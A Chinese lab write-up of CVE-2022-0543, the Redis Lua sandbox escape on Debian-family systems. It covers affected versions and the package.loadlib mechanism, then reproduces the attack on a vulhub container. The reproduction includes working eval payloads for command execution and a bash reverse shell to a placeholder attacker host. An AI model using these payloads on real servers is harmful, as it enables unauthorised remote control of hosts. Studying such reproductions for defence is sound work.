影响范围

  • Debian 10 (Buster) Redis 软件包: 5.0 - 5.0.14-1
  • Debian 11 (Bullseye) Redis 软件包: 6.0 - 6.0.16-1
  • Ubuntu 18.04 LTS Redis 软件包: 4.0.0 - 4.0.9-1ubuntu0.2
  • Ubuntu 20.04 LTS Redis 软件包: 5.0.0 - 5.0.7-2ubuntu0.1
  • Ubuntu 22.04 LTS Redis 软件包: 6.0.0 - 6.0.15-1ubuntu0.1
  • Docker Redis (Debian / Bullseye 变体) 镜像: 5.0.0 - 5.0.14
  • Docker Redis (Debian / Bullseye 变体) 镜像: 6.0.0 - 6.0.15
  • Kali Linux Redis 软件包: 5.0.0 - 6.0.15
  • Raspbian (树莓派) Redis 软件包: 4.0.0 - 6.0.15
  • 其他 Debian 系衍生版 Redis 软件包: 4.0.0 - 7.0.0-rc2

漏洞类型

Redis Lua 沙箱逃逸

操作系统限制

Debian/Ubantu

配置要求

  • 开启 6379 端口

漏洞利用

命令执行,反弹 shell

利用原理

官方设计的 Redis 中,Lua 脚本运行在高度受限的沙箱环境,Debian 维护者答辩 Redis 时候加入补丁,将 package 模块引入 Lua 的全局环境,package.loadlib 允许 Lua 直接调用 Linux 系统的动态链接库,攻击者通过 redis-cli 连接到未授权或已知密码的 Redis,且目标一致为 Debian / Ubantu 系统,攻击者知道系统自带 Lua 库位置,利用 package.loadlib 重新加载系统库中的 luaopen_os 或 luaopen_io 函数,将 Redis 删除的 os 和 io 模块重新注入回 Lua 环境,攻击者可以调用 os.execute() 执行系统命令,通过 io.popen() 读取执行后回显结果,可以通过这些特性进行 getshell

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/redis/CVE-2022-0543
#拉取镜像
docker-compose up -d

1773550592914

安装工具 redis

1
sudo yum install redis -y

1773550685149

拦截靶机

1
redis-cli -h 靶机ip

1773550720121

执行敏感命令

1
2
#执行whoami
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

1773582899578

进行反弹 shell,nc 开启监听

1773582922673

执行反弹 shell 命令

1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \"bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1\"", "r"); f:close();' 0

1773582986885

成功连接

1773583010143